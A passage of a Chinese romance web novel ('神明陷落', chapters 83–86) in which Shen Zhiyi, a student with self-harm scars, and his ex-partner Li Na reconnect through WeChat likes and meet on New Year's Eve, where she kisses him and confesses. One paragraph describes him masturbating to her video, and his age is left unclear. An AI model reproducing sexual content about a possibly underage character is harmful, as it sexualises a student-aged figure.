Eason也说：“你过于担心了，之前我还带知逸出去开过车，转方向盘完全没问题。”
Sofia大惊失色：“什么时候的事，你竟然带他出去开车！那时候他手腕肯定没好吧，万一落下后遗症了怎么办，他还要弹钢琴呢！”
看她这样，Eason笑得不行。
“他一个男孩子，哪有那么娇气，你放轻松点。”
沈知逸也安慰她：“真的，我的手已经不痛了，可以参加军训的，你不要担心。”
为证明自己的手腕真的没问题，他举到Sofia眼前，一通狂甩。
Sofia魂都要吓飞了：“天哪！你快别晃了，万一里面没长好，甩裂开了怎么办！”
沈知逸：“都长好了，不会裂开的，不信你摸摸？”
他把手腕递过去。
Sofia用指尖很轻地碰了一下，眼睛瞬间红了，含着眼泪。
“我们知逸，真的特别乖巧懂事，怎么就遇不到好人……”
她哽咽着，心疼极了。
Eason拍拍她的肩膀，有些无奈：“怎么又说这个，你信不信等会知逸也要哭鼻子了。”
明明说着让人不开心的事情，却用着开玩笑的语气，Eason看向沈知逸：“是不是啊，等会你又要回房间偷偷哭鼻子了吧，像你妈妈这个老小孩一样？”
Sofia破涕为笑，砸他一拳。
沈知逸也笑：“是啊，等会我就要哭鼻子了。”
说着他就用手捂住脸，一副要哭的样子，Eason和Sofia的心脏瞬间提到了嗓子眼。
直到他把手拿开，露出一张灿烂的笑脸，Eason和Sofia悬着的心脏才放了回去，心里还是有些不安。
很多年以前，黎娜就住在他们这个房子的隔壁。
每次沈知逸出门，路过他和黎娜曾经住过的房子，还是会忍不住多看两眼，心中生出一些不切实际的幻想。
幻想黎娜会从那个房子里出来，就像以前很多次从那里出来一样。
每次路过，他都会这样想。
但是每次都没有黎娜。
渐渐的，他就不这样想了。
然后在某一天，他以为那扇不会打开的门，那个不会再出现的人，在他快要死心的时候，又突然出现在了他的面前。
像一缕快要熄灭的小火苗，突然接触到了大量的氧气。
83. 神明陷落
沈知逸刚从宠物市场回来，买了一条很小的腊肠犬。
是Sofia和Eason让他去买的，可能觉得他需要一个宠物来分散一下注意力。而且他们之前在国外家里一直养着狗，现在没有狗总觉得缺了点什么。
那条腊肠犬很小，只有两个手掌那么大，放在地上连路都走不稳，总会摔倒，沈知逸就把它抱在怀里。
快到曾经他和黎娜住的房子，他步伐慢了一些，抬眸望过去。
大门紧闭。
没有人出来。
他收回视线，距离越来越近。
不知道为什么，他心跳频率突然变得有些奇怪，似乎先他一步感知到了什么，竟莫名感到不安。
沈知逸深吸口气，加快脚步。
在即将路过那个房子的时候，耳边传来一阵开门声，沈知逸步伐微顿，用余光看到房子里走出来一个女人。
她身形高挑挺拔，卷发披在肩后，穿着黑色露脐短T和白色运动裤，胳膊里夹着一块画板和调色盘，手里分别提着两桶颜料，整个人晃晃悠悠的，看起来有些吃力。
沈知逸一手抱住狗，一手拿出手机，眼睛除了手机屏幕，哪里都不看，渐渐远离这个房子。
等他走过去，黎娜才看到他，不禁愣了一下，然后就当做没看到，把即将闭合的门一脚踹开。
这个门能自动关闭，她刚踹开，又要关上了，旁边有半块砖头，她伸出脚尖顶过去，身子一歪，画板从她手臂中滑出来，尖锐的边角划过她的皮肤，她感觉到痛，立刻松手，颜料掉在地上往前面滚。
已经走出去很远的沈知逸步伐一顿，转回头来看向她。
她蹲在地上，眉头紧皱，把画板扶起来，跟调色盘叠放在一起，再次用手臂夹住，去捡滚到前面的颜料桶。
似乎察觉到他的目光，黎娜有一个抬头的动作。
他立刻转回头，继续往前走。
黎娜挠了挠脖子。
是她的错觉吗？
就这么一个愣神的时间，画板又掉出来了，黎娜都要崩溃了，想把这狗屎画板掰成两半。
此刻，快到家的沈知逸突然折返回来，怀里还抱着只小腊肠犬。
一人一狗的眼睛，如出一辙，都湿漉漉的，是很清澈的黑色。
他没有回避黎娜的视线，像看陌生人一样，平静地看着她，然后再恰到好处地收回视线，帮她捡起地上的画板和调色盘。
黎娜抿唇：“不用，我自己来就可以。”
沈知逸置若未闻，把腊肠犬放到草丛里，又去捡颜料桶。
腊肠犬跑过来，寸步不离地跟在沈知逸身后，疯狂摇尾巴。
“东西要放到哪里？”他问。
黎娜用下巴指了指：“放在门口就行，我找人来接我。”
他想问是谁，但是没有问出来，帮黎娜把所有工具放到门口。
在收手的时候，黎娜看到他手腕内侧的疤痕，像一条狰狞的蜈蚣，还有他手臂上有一个凹陷进去的大洞，内侧皮肤上有些划痕……
一具布满了伤痕的身体。
黎娜心里有些不舒服。
沈知逸捡起地上的腊肠犬，重新抱进怀里，往家的方向走。
黎娜看向他的背影。
夕阳西下，他在地上留下一道很长的影子，穿着白上衣和黑色运动裤，卷发随着微风轻轻晃动，扑面而来的青春气息。
她开口：“谢谢。”
沈知逸没说话，连一丝停顿都没有，渐渐消失在了她的视野里。
从始至终，他一句多余的废话都没有，也没有像以前那样眼睛亮晶晶地望着她，跟她撒娇。
她对于沈知逸来说，好像没有那么重要了，已经完全不在意了。
黎娜皱起眉心，在原地站了一会，拿出手机给温琳发消息。
黎娜：【过来接我。】
温琳：【奴婢这就来了。】
黎娜：【……】
温琳很快开车过来了，放下车窗，把鼻梁上的墨镜拉下来一点，单手扶着方向盘，看向黎娜。
“你不是不画画了吗，回来拿画板干什么？”
黎娜打开后备箱。
温琳尖叫：“我靠，你小心一点，别擦到我的新车！”
黎娜把工具都搬进去，关上后备箱，动作极其粗暴，打开副驾驶的车门上去了，沉沉地吐出口气。
温琳啧了几声：“你还没回答我呢，怎么又画画了，你不是说——”
她学着黎娜当时的腔调，摇头晃脑：“我不是真的喜欢画画，我只是喜欢追寻那个过程，追寻到了就没意思了……”
黎娜：“……”
温琳看向她，笑容意味深长。
“那你现在为什么又要画画了，跟画画旧情复燃了吗，小娜娜？”
听到“旧情复燃”着这四个字，黎娜呼吸一滞，狠狠地瞪向她，咬牙切齿。
“真想撕烂你这张破嘴……”
温琳就撅起嘴巴，眨巴着大眼睛看着她。
“你舍得吗，人家的嘴巴这么可爱，想不想亲呀，我才不给你亲，哈哈哈哈哈哈。”
黎娜要吐了。
温琳发动汽车，打开车顶，热风扑面而来。
她看了黎娜一眼。
“你这个人啊，就是喜欢犯贱，拥有的时候不知道珍惜，失去了又开始惦记上了，想一出是一出，我都不知道你脑子里装的什么。”
黎娜冷静呛回去：“你不知道我脑子里装了什么，但我知道你脑子里装了什么。”
温琳好奇：“那你说说，我脑子里装了什么？”
黎娜：“装了屎。”
温琳：“……”
操操操！
沈知逸在客房的阳台上站了很久。
以他这个角度，可以看到隔壁房子楼下的情况。
看见是温琳过来接她，他才收回目光，退出阳台。
一转身，就看到Sofia站在他身后，也在看他刚才看的方向，不知道Sofia在这里站了多久。
Sofia语气淡淡的：“我们搬走吧，离开这个地方。”
沈知逸垂下眸子：“不用，她很久都不回家一趟。”
在很多年前，黎娜把他从楼上推下来，带着行李离开以后，这是这么多年以来，他第一次看到黎娜回这个家。
还是刚认识的时候好，还是当她弟弟的时候好，真的很怀念那个时候的他们，特别特别地怀念。
现在去学校，都是沈知逸开车了，Eason在副驾驶坐着。
有时候碰到突发情况，沈知逸不知道该怎么办的时候，Eason就会站在过来人的角度给他提建议。
慢慢的，沈知逸就越开越熟练了。
停好车子，沈知逸和Eason一起下来，往琴房走。
“沈知逸！”
身后传来一个女生的声音。
Eason回头，看到那个女生，脸上露出了儒雅的笑容。
“你好呀，夏嫣
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然同学。”
夏嫣然是校长的女儿，在学校里人缘非常不错，长得也很可爱，很娇小，特别讨人喜欢。
她两个松散的麻花辫垂在胸前，脸旁有些碎发，穿着白衬衫和百褶裙，背着一个大提琴，蹦蹦跶跶地跑过来，到沈知逸旁边，跟Eason打招呼。
“你也好呀，Eason老师。”
她从单肩包里拿出几块巧克力，递给沈知逸和Eason。
“这是我爸爸前几天从国外带回来的，特别好吃，肯定跟你们以前吃过的巧克力都不一样。”
Eason微笑着，双手接过来：“谢谢你。”
沈知逸也接过来，垂着眸子：“谢谢。”
夏嫣然就背着大提琴走了，倒着走的，边走边跟他们道别。
“那就再见啦。”
Eason：“再见，注意看路！”
夏嫣然点头，又看向沈知逸。
“沈知逸，那就再见啦。”
沈知逸点头：“嗯。”
声音很小，夏嫣然可能没听见，停下来，侧着脸，脑袋往前伸了一点。
Eason笑得不行：“他也说再见了，声音太小了。”
夏嫣然点了点头，往另一个方向走了。
Eason把巧克力放到沈知逸手里，看向那个女孩的背影。
“那个小姑娘是不是喜欢你？”
沈知逸拆掉包装，把巧克力放进嘴巴里，摇摇头说：“不知道。”
“她给你巧克力，是喜欢你吧？”
沈知逸皱眉：“那她也给你巧克力了，她也喜欢你。”
Eason哑然失笑：“那不可能，我这个年纪都能当她爸爸了。”
这块巧克力确实跟之前吃过的不一样，外壳微硬，里面像奶油，入口就融化了，甜香味非常浓郁，只有外面包了一层可可粉，里面是抹茶绿色的。
沈知逸把包装纸放进口袋里，路过垃圾桶也没有扔掉。
Eason发现了，忍住笑。
“那个小女孩真的很可爱，跟你年纪都差不多，之前校长还跟我提过，说想让你们试试看。”
沈知逸想了想：“我现在还太小了，还是好好学习吧，不着急这个。”
Eason低头看他：“你是不是不好意思了？”
沈知逸躲他：“没有！”
放学的时候，外面下雨了。
Eason撑着一把超大号黑伞：“今天视野不好，咱们不着急，慢慢开，安全第一。”
沈知逸“嗯”了一声，上车系好安全带。
出校门，公交站台上有一个女生，撑着可爱的花边伞。
Eason透过雨雾，凝眸看去。
“那个女生是不是夏嫣然，今天下雨，怎么没有司机过来接她？”
沈知逸也看过去，皱着眉：“那我们要不要过去看看她？”
Eason：“嗯。”
沈知逸打灯，靠公交站台停下。
Eason放下车窗。
夏嫣然看到他们：“沈知逸，Eason老师，你们怎么过来了？”
Eason问：“看你在这里，今天没有司机来接你吗？”
夏嫣然很是郁闷：“司机叔叔路上被别人碰到车子了，正在处理交通事故，叫我等一会。”
沈知逸看到她白色长筒袜都被雨水溅湿了，想到她早上送的那块巧克力，主动提议。
“那我们送你回家吧。”
84. 神明陷落
夏嫣然眼睛一亮：“真的吗！”
Eason人都傻了，不可置信地看向沈知逸，心想你小子可以啊！
Eason拿着黑伞下来，护送夏嫣然上车，然后给校长发了信息。
“我跟你爸爸说过了，你要不要再跟他说一下？”
夏嫣然笑着摇头：“不用了。”
她给司机打电话，叫司机不用过来接她了。
一路上，Eason和夏嫣然聊得热火朝天。
沈知逸偶尔说上几句话。
到夏嫣然家，Eason就把沈知逸撵下车了，把黑伞塞给他。
“你去送送她。”
沈知逸拿着黑伞，不明所以。
“为什么要送，直接把伞给她不就好了？”
Eason扶额：“……”
夏嫣然憋笑：“……”
Eason无奈地摇了摇头：“你去送送人家，别问了，你去雨里散散步，锻炼锻炼身体。”
沈知逸：“……”
那好吧。
他撑起黑伞，护送夏嫣然回家。
Eason在车里，拿起手机，把他们共撑一伞的背影拍了张照片，发到朋友圈。
配文：【儿子终于开窍了，今天主动提出送女同学回家。[偷笑][偷笑]】
校长点赞：【看背影像我家小孩。[旺柴][旺柴]】
Eason回复：【就是你家的小千金。】
Sofia点赞：【谁家的小姑娘呀，有空带她来家里玩呀。】
Eason回复：【校长的小女儿，特别可爱懂事，今天还送了小知逸巧克力。】
Sofia：【好乖哦，看背影真的很可爱诶。】
回到家里，沈知逸看到这条朋友圈，拿着手机去找Eason。
“你怎么发朋友圈了？”
Eason愣了一下：“我就发着玩玩，这有什么关系。”
沈知逸皱眉：“能不能删掉？”
“为什么删掉？”
沈知逸低头抠手指，闷闷地说：“我不喜欢被发到朋友圈……”
Sofia走过来：“那就删掉吧。”
Eason：“……好。”
沈知逸松了口气。
Eason应该没有删掉她的联系方式，发朋友圈肯定也没有想到要屏蔽她的，不知道会不会被看到。
黎娜窝在沙发上，盖着毯子，把Eason发的朋友圈截图了，还保存了沈知逸和那个女生的照片，放大慢慢看。
手机屏幕突然一片黑暗，有电话进来，她按下接听键。
男人说：“你好，你的快递到了，请问你现在人在家吗？”
黎娜：“在家。”
“好的，我马上到了。”
过了一会，玄关就传来“咚咚咚”的声音。
温琳推开房门：“我靠！我才刚下单，我的酒就送到了！牛逼啊！”
她用猴子下山的姿势，连滚带爬地跑到门口。
黎娜赶紧跟上去：“不是你买的酒！是我的快递！”
温琳打开门：“什么你的我的，你的就是我的，连你都是我的。”
黎娜：“……”
真的好油腻啊。
温琳接过快递。
快递员说：“国际快递，需要收件人签下字，你是收件人吗？”
黎娜一屁股挤飞温琳，接过快递员递来的水笔，在快递单上签下龙飞凤舞的一串名字。
温琳揉着屁股走过来，看了一眼，小声吐槽：“字真丑……”
黎娜瞪她。
她忽然笑了：“诶，这怎么是从美国寄过来的？你还有小情郎留在那儿呢？”
听到“小情郎”这三个字，黎娜就跟被踩了尾巴的猫一样，一下子就炸了，摔上门，大吼一声。
“你给我滚开！！”
温琳捂住耳朵，迅速撤退。
房门关上，整个客厅里就剩下黎娜一个人，还是不太放心，她抱快递回到自己房间。
用美工刀小心划开，拆开纸箱，从里面拿出一盒羊毛毡小狗，还有一盒奖牌风铃。
之前回家拿画板颜料的时候，她把沈知逸小时候写的信也带出来了，信封上小狗贴纸已经泛黄了，失去了粘力，轻轻一碰就掉下来了。
黎娜将这三样东西放在一起，坐在地板上，单手撑着下巴。
总觉得这个房间里有东西在盯着她，她站起来看了一圈。
什么都没有。
微风吹动窗帘，黎娜回头看去，瞳孔骤然紧缩。
“啊啊啊啊啊啊啊啊！”
只见温琳跟壁虎一样，趴在她落地窗外面，脑袋伸进来，探头探脑地看她的快递。
就算暴露了，温琳也丝毫没有心虚，嘿嘿一笑。
“我真的太好奇了，如果我今天看不到里面有什么东西，我会好奇到睡不着觉的！”
黎娜捂着胸口：“……”
你他妈也太好奇了吧！
温琳在窗外扭来扭去，不停换手抓着窗槽，在空中挥舞。
“我靠，娜娜，外面有蜜蜂！”
“老娘真是该死的甜美！连蜜蜂都禁不住我的诱惑！”
黎娜这辈子都没有这么无语过，大步朝温琳走过去。
“你小心一点，这里是二楼，天哪，你到底是怎么爬上来——”
话还没说完，温琳就在她眼前消失了。
“娜！娜！救！我！”
温琳掉下去了。
黎娜跑到窗前，看到温琳落地时想站住，结果脚一挨到地面，就朝前面跌过去了，情急之下她迅速捂住脸，狠狠地摔到了草坪上，惨叫连连。
黎娜跑下楼，想把温琳扶起来。
温琳闭眼尖叫：“我靠，别动！我腿好痛！娜娜，你帮我看看，我的腿是不是不在了，是不是掉下来的时候硌没了……”
黎娜翻白眼：“你的美腿还在，不要担心。”
温琳：“那我的36D呢，有没有被压平？”
黎娜：“……”
清醒一点啊！你哪来的36D！
看样子被摔成傻/逼了。
忍住扇她的冲动，黎娜拿出手机叫救护车。
在她交代地址和伤情的时候，温琳就抱住她的胳膊，不停地蹭。
“你不会把我丢在这里不管的，对吧？”
黎娜放下手机：“不会。”
温琳眼泪都要掉下来了。
“娜娜，你真好，你这么冷漠无情的混蛋，竟然会管我的死活，我真的好感动哦……”
黎娜：“……”
她真有那么冷漠吗？
连温琳都没有安全感了。
到医院，拍了片子，医生们给温琳处理好骨折的腿，扭伤的脚腕，就把她送到病房里去了。
外面天都黑了。
温琳把被子往上扯了扯。
“娜娜，你不回家吗，你真的要留在这里陪我？”
黎娜有些疲惫，揉了揉眉心：“嗯，我留在这里陪你。”
温琳一愣，喃
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喃自语。
“真是见鬼了……”
黎娜看着窗外的月亮，脱掉鞋子，坐到旁边病床上，闭紧双腿，用手臂抱住，下巴搁在膝盖上。
“其实……一个人还挺孤单的。”
她声音轻飘飘的。
温琳以为自己摔坏脑子，出现幻听了，四处张望着，最后视线落到黎娜身上。
“刚才是你在说话吗？”
黎娜：“嗯。”
“你又在犯贱了，别人在你眼前晃悠，你就嫌烦，别人一不在，你又很孤单，你到底想让别人怎么样啊！”
黎娜拿出手机，回到朋友圈，看Eason那条下面有没有新的评论，但是她来来回回翻了很多遍，都没有看到那条朋友圈，其他人发的都在，只有那条不在，可能被删掉了。
温琳回忆着那时看到的东西：“那个从美国寄来的快递，是沈知逸之前送给你的礼物对吧？”
黎娜：“嗯。”
温琳：“你让人给你寄回来的？”
黎娜抱紧自己：“嗯。”
温琳翻了个大大的白眼：“你都跟沈知逸分手了，之前送的那些礼物都扔在国外不就好了，你还让人给你寄回来，无语了……”
黎娜沉默几秒：“我舍不得。”
温琳吓死了：“你说什么？”
黎娜：“我说，我舍不得。”
“你舍不得什么？”
黎娜就不说话了。
温琳深吸口气：“你这样的人，最好一辈子都别谈恋爱，别结婚。”
黎娜叹气：“我今天看到Eason发朋友圈了，沈知逸送学校里的女同学回家了。”
“人家沈知逸的事，关你屁事，你管人家干嘛，管好你自己。”
黎娜眉心紧皱起来：“说实话，我心里特别不舒服，之前他在身边，我觉得没什么，但是他突然不在我面前晃悠了，眼里也没有我了，我心里就特别不舒服，好奇怪的感觉。”
温琳仰头望天：“你又在犯贱，你不会要去找沈知逸复合了吧，你可千万别啊，你别去祸祸人家的好孩子了，你放过人家吧。”
黎娜点头。
她没想过去找沈知逸，根本就拉不下那个脸。
而且她之前那些行为，现在回想起来，她自己都觉得特别过分，沈知逸肯定不会原谅她的。
所以她也没有必要再去打扰沈知逸。
她就是这样的一个人，宁愿错过，都绝不低头认错，就算别人递台阶过来，她心里高兴得都快要疯掉了，但表面依然不情不愿。
就像温琳说的那样，她这个人真的贱透了。
伤筋动骨一百天，温琳在医院养了近一个月，就打着石膏出院，回家修养去了。
还是在黎娜家里。
黎娜请了专业人士，专门照顾温琳的饮食起居，这样就不用总是医院家里两头跑了。
她从家里翻出一个小巧精致的礼品盒，把之前沈知逸送的羊毛毡小狗和奖牌风铃都放进去了，失去黏性的小狗贴纸被放进密封袋里，而那封信，时隔这么多年，她又读了一遍，还是潸然泪下。
温琳拄着拐杖，一瘸一拐地走到她旁边，看到她哭得喘不上气，就觉得头皮发麻。
“你到底想怎么样啊，你反射弧是不是太长了点，当时分手那叫一个潇洒，没心没肺，怎么现在还难过起来了？你没事吧？”
黎娜擦掉眼泪，恶狠狠地瞪她一眼，就抱着小箱子回卧室了。
她打开微信，看到朋友圈那边有一个熟悉的动漫头像，迅速点进去。
85. 神明陷落
沈知逸发了朋友圈，是他养的那条小腊肠犬。
图片里是他修长的手指，拇指和食指中间夹着一块鲜红的牛肉，被小腊肠犬叼住撕扯，狗盆里还有三文鱼。
配文：【查理之前一直在喝奶粉，现在终于可以吃生肉了。】
原来他养的腊肠犬叫查理。
还挺会起名字……
黎娜手指在屏幕上犹豫了一会，给他点了一个赞。
沈知逸洗完澡出来，打开手机，看到朋友圈有几条未读消息，他点进去，在一排头像中发现了黎娜，指尖颤了一下。
他把手机放到一边，用干毛巾擦头发，眼睫毛低垂下来，眸光黯淡。
这是黎娜第一次给他朋友圈点赞，以前从来没点过。
她到底在搞什么啊。
为什么要给他点赞啊。
为什么还要出现在他的世界里啊。
头发擦到半干，沈知逸把小床里的腊肠犬抱起来，放到床上，用手机给他和腊肠犬拍了一张自拍照，犹豫了一会，又发了一条朋友圈。
配文：【都说小狗会跟主人越来越像的，我和我家的长得像吗？】
图片里，小狗在沈知逸怀里，一双大眼睛漆黑清澈，好奇地看着手机屏幕，模样可爱，透着无辜。
沈知逸挨着它的小脑袋，也是漆黑的眼睛，睫毛很浓密，往下垂着，形成浅浅的眼线，鼻子精致秀气，嘴唇肉嘟嘟的，一根唇纹都没有，上面有些水渍，显得亮晶晶的。
黎娜把这张照片保存下来了，删掉了他之前那张和女生的背影照片。
看着他的最新动态，黎娜盘腿坐在床上，咬着大拇指，在内心挣扎了一会，又给他点了一个赞。
这次，她还评论了。
黎娜在动态下面评论：【一模一样。】
这条评论发送出去，黎娜就跟被烫到了似的，迅速丢掉手机，从床上下来，大步离开卧室，在客厅里到处晃悠。
温琳坐在沙发上看手机，嘴角抽搐几下，不知道看见了什么，抬眸朝黎娜看过去。
“你脑子是不是有病？”
“还给人家点赞评论……”
黎娜脸不红心不跳，从冰箱里拿出一瓶冰镇气泡水，瞥她一眼。
“怎么了？分手了就不能点赞评论了？分手了也可以当朋友啊……”
温琳啧了一声，刷新朋友圈，挑了挑眉。
“诶，他那两条朋友圈不见了。”
黎娜：“啊？”
温琳又刷新几遍：“真的不见了，是不是被他删掉了？”
黎娜：“有可能。”
温琳失笑道：“肯定是觉得你太晦气了，所以才删掉了。”
黎娜皱眉：“你才晦气。”
沈知逸没有删朋友圈，而是把那两条黎娜赞过的朋友圈都隐藏起来了，只有他自己可以看见。
不知道Sofia和Eason看了会是什么反应，会不会以为他们还在偷偷联系，有点不想让Sofia和Eason看到。
退出朋友圈，沈知逸进入和黎娜的聊天框，翻看以前的记录，到比较甜蜜的时期，就会停下来看很久很久。
手腕就会莫名地开始疼，真的很奇怪，明明伤口都已经长好了，却好像又被人硬生生撕开一样，又痒又疼，疼得他整个人蜷缩起来。
他放下手机，闭上眼睛，泪水浸湿了枕头，鼻子有点堵，张开嘴巴轻轻地吸气吐气。
这天晚上之后，沈知逸沉寂了一个多星期，突然开始频繁地发朋友圈。
比如中午在学校食堂吃饭，阿姨多给他夹了一个大鸡腿。
再比如喂学校里的流浪猫，小猫用脑袋不停地蹭他，露出肚皮让他摸。
就连路上看到一排成群结队的蚂蚁，也要拍下来发朋友圈。
平均下来，几乎一天一条。
而每一条，黎娜都是第一个点赞的，就跟每天都盯着他朋友圈似的。
沈知逸就会特别生气。
但是如果朋友圈发出去之后，黎娜没有立刻过来点赞，而是晚了那么几秒钟，他又会开始难过。
慢慢的，他就会越来越讨厌自己。
因为他不怪黎娜，只会生自己的气，觉得自己还是会被黎娜影响，被黎娜牵着鼻子走，他根本就控制不住自己，就连每天发的朋友圈，都是希望能引起黎娜的注意。
他不想再这样不明不白地下去了。
明明都分手了，为什么还要来给他点赞啊！
沈知逸又沉寂下去了。
黎娜也逐渐淡出了他的生活。
再次归于平静。
一天晚上，黎娜喝了点酒，脑子有点不太清醒，拍了段视频发到朋友圈。
配着低迷的音乐，她房间里开着紫色的灯，趴在床上，卷发垂下来，后面她单腿翘起来，露出形状漂亮的脚，袜子上有个小猫爪，她眼睛没有焦距，对着摄像头微笑。
温琳：【好烧……】
黎父：【你发的这是什么，快点删掉。】
秦钰：【袜子很可爱。】
沈知逸打算看完朋友圈就睡觉，结果就看到黎娜发的这段视频，整个人都精神了。
他点开视频，看她双眸含水，粉唇微张，轻咬下唇，目光迷离……
想起以前他和黎娜在一起的日子，下面就有点蠢蠢欲动了。
他用被子把手机架好，手握上去，看着视频里的黎娜。
鼓起来的被子上上下下。
在攀上高峰的那一刻，他从床头柜上抽了几张纸巾，手忙脚乱地捂住，短裤脱到膝盖那里，他趴在枕头上哭，嘴里发出无声的呢喃。
“姐姐……”
怎么办啊，他根本就忘不掉。
黎娜只会给他点赞，却从不主动过来找他聊天，他从期待到心死，最后对黎娜充满了怨恨。
窗外飘雪，路面结冰。
到除夕那天，沈知逸待在家里，抱着腊肠犬，跟Sofia他们一起看电视。
Sofia说：“知逸，要不我们转学去国外吧，去你爸爸之前给你找好的那个学校。”
沈知逸扒拉腊肠犬的耳朵，没什么精神的样子：“我不想去。”
Eason抿唇：“他还是更习惯国内的生活，我们就不要强迫他了。”
Sofia皱眉：“那好吧。”
到夜晚十二点钟，烟花在夜空中绽放。
这个城市是禁烟的，但依然抵挡不住人们对新一年到来的喜悦。
在烟花爆炸声中，沈知逸手机响了一下，屏幕亮了。
上面显示黎娜发来一条信息。
沈知逸瞬间感觉自己的脖子被人掐住了，呼吸不上来，心脏也猛地收紧，越来越紧，紧到他整个人蜷缩起来，拿起手机，直奔卧室。
Sofia喊他：“知逸，你这就去睡觉了？”
沈知逸跑上楼：“嗯，我困了！”
跑进卧室，关上门，沈知逸后背贴在门板上，手指抖个不停，两条腿都是软的。
他拿出手机，双击点进去。
黎娜：【新年快乐。】
分
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手后，她第一次给他发消息。
沈知逸按灭手机，心中涌出厚重又粘稠的失落。
就只有这个吗？
如果只有新年快乐，那还不如不要发过来。
发这个算什么？想要他怎么回她？是太无聊了想拿他解闷吧。
不回，就显得他是故意不搭理她，故意不搭理，就说明他还在意。
沈知逸压下所有情绪，再次打开手机，发了同样的一句话回去。
沈知逸：【新年快乐。】
黎娜秒回：【你怎么还没睡觉？】
沈知逸没想到她会再发信息过来，脑袋里一片空白，手指又开始发抖了。
沈知逸：【嗯。】
黎娜：【我以为你已经睡了，你睡觉都挺早的。】
沈知逸：【没睡。】
黎娜：【你猜猜我在哪里？】
沈知逸：【不知道。】
黎娜发了一段视频过来。
视频中，她在昏暗的包厢里，有斯诺克台球，古典酒柜，还有一块巨大的显示屏，上面在播放着MV，有嘈杂的轻摇滚音乐传过来。
黎娜：【要不要过来玩？】
沈知逸被她这条信息吓到了。
这算什么。
为什么要叫他去。
沈知逸：【不去。】
黎娜：【过来玩吧。】
沈知逸：【我不喜欢那种地方。】
黎娜：【这边没有别人，只有我一个人在这里。】
沈知逸：【你一个人？】
黎娜：【嗯。】
沈知逸沉默几秒：【今天是除夕，你怎么没跟黎叔叔在一起？】
黎娜：【不想去，那是他家，又不是我家。】
黎娜：【他们现在是一家人，我是外人。】
沈知逸不知道该说什么了。
黎娜：【晚安。】
沈知逸放下手机，想起刚才她发来的那段视频，除夕夜他们都在跟家人团圆，只有姐姐一个人孤零零地在那里。
真的特别恨她。
但是现在又特别心疼她。
沈知逸一边穿外套，一边给黎娜发消息。
沈知逸：【位置发给我。】
黎娜发位置过来。
沈知逸穿好衣服，从抽屉里拿出车钥匙，大步走下楼。
Sofia看到他，一脸惊讶。
“知逸，你要出门吗？”
沈知逸：“嗯。”
Eason也朝他看过来：“这么晚了，你要去哪？”
“我同学有事找我。”
沈知逸随便扯了个谎。
Sofia和Eason追上来还想再问些什么，沈知逸已经开着车出去了。
路上有一层薄薄的冰，沈知逸放慢车速，目的地距离他家有四公里，十分钟就到了。
他停好车，找到黎娜发来的定位，是一个很高档的私人会所。
外面保安都穿的跟英国王室的护卫队一样，沈知逸没来过这种地方，心里特别紧张。
他硬着头皮走进去。
柜台小姐露出笑容：“你好。”
沈知逸四处张望：“我来找人。”
“叫什么名字？”
“黎娜。”
“哦，是黎小姐呀，她刚才给我们打电话了，你叫沈知逸对吧？”
沈知逸点头。
柜台小姐：“我带你去找她。”
“谢谢。”
沈知逸跟着她上楼，来到一个包厢门口。
86. 神明陷落
旁边有门打开，震耳欲聋的音乐声传出来，沈知逸头都痛了。
门很快关上，又什么声音都没有了，隔音效果非常厉害。
柜台小姐打开门。
沈知逸迅速用手捂住耳朵，却没有听到太大的声音，就把手放下来了，朝包厢里望过去。
昏暗的光线中，他看到黎娜坐在沙发上，双腿优雅地交叠在一起，正在看手机，白光照在她脸上，显得更白了，卷发垂在肩后，外面冰天雪地，她却只穿了一件黑色的紧身衬衫裙，长度到脚踝。
有光线透进来，黎娜抬眸，目光落到沈知逸身上。
沈知逸看向别处，慢慢走进来，关上门，光线又暗下来了。
他在距离黎娜最远的地方，找了个位置坐下来，从口袋里摸出手机，低头认真看着，手指在屏幕上滑动。
余光里，他看到黎娜站起身，指尖不自觉颤了一下。
“你想喝什么？”
黎娜走到酒柜那里。
沈知逸看了一眼：“我不会喝酒。”
黎娜低头笑了一下，看向他：“是吗，你小时候不是很能喝？在我过生日的时候，一口气喝了好几杯，你不记得了？”
沈知逸抿唇不语。
黎娜取下一个高球杯，轻轻放好，从酒柜里拿了很多酒出来，跟做实验一样，小心谨慎地倒进去，严格控制分量，最后调出来一杯蓝红色的渐变酒。
她朝沈知逸走过去。
沈知逸放下手机，目视前方。
黎娜到他面前，稍微弯下腰，与他平视，把手里这杯颜色漂亮的酒递给他。
他整个人迅速后退，别开脸：“我不能喝这个，我开车来的。”
黎娜愣住：“你拿到驾照了？”
沈知逸：“……嗯。”
“真厉害，这么快就拿到了。”
沈知逸手指握紧。
她到底在搞什么啊。
那杯酒还举在空中，黎娜说：“你尝一下，真的特别好喝。”
沈知逸闭紧嘴巴。
黎娜又往前拿了一点：“我专门为你调的，你尝一下好不好？”
她前所未有地用了一种撒娇的语气，沈知逸微微睁大眼睛，伸手接过来。
杯壁上覆着一层冰冷的水珠，他手指握上去的瞬间，黎娜却没有松手，而是手指伸向他，像带刺的藤蔓一样顺着他的手背往上爬。
他心跳失速，用力收手。
黎娜也暗暗用力，眸光闪烁。
玻璃杯中酒泛起波纹。
僵持不下，暗中较劲。
最终，黎娜最先没有了力气，就松开手了。
可是沈知逸那边还在用力，她这么一松手，酒直接泼出来，泼了他一脸。
好狼狈……他想用手擦掉，黎娜却先他一步，手撑到他身后的沙发上，低头下来，吻到他脸上，吮吸酒水。
沈知逸脑袋里一片空白，眼睛瞪得大大的，浑身发麻，散发着香味的卷发蒙在他脸上，所有感觉都被模糊了。
他放下酒杯，用力推开黎娜，迅速起身。
“我回家了。”
手刚放到门把上，腰间一紧，他垂眸看去，见一条纤细的手臂缠在他腰上，越收越紧。
黎娜的声音从身后传来。
“对不起，真的特别对不起你……”
她声音很小，却很真诚。
沈知逸拿开她的手，背对着她，垂在身侧的拳头握紧，微微颤抖。
“为什么要跟我说对不起？”
黎娜愣住。
沈知逸说：“你没有对不起我，你只是不喜欢我，我做的一切事情都跟你没有关系，那是我自找的，你没有对不起我，你只是……不喜欢我。不喜欢我，并没有错。”
明明已经做好了充足的心里建设，才敢过来找她的，可是现在，他眼泪还是控制不住地往外流。
是觉得委屈吗？
他自己都不知道，明明都已经过去那么长时间了，为什么还会这样。
黎娜下巴放在他肩膀上，轻轻地吸了口气。
“那我要是说，我喜欢你呢。”
“沈知逸，我喜欢你。”
沈知逸心脏紧缩了两秒钟，迅速让自己冷静下来，不受她影响。
“别装了，你根本不喜欢我。”
黎娜贴着他：“没装，喜欢。”
沈知逸深吸口气，紧守防线。
“你不喜欢我的，你弄错了，你只是因为没有人陪你，觉得太孤单了，所以才会想起来找我。”
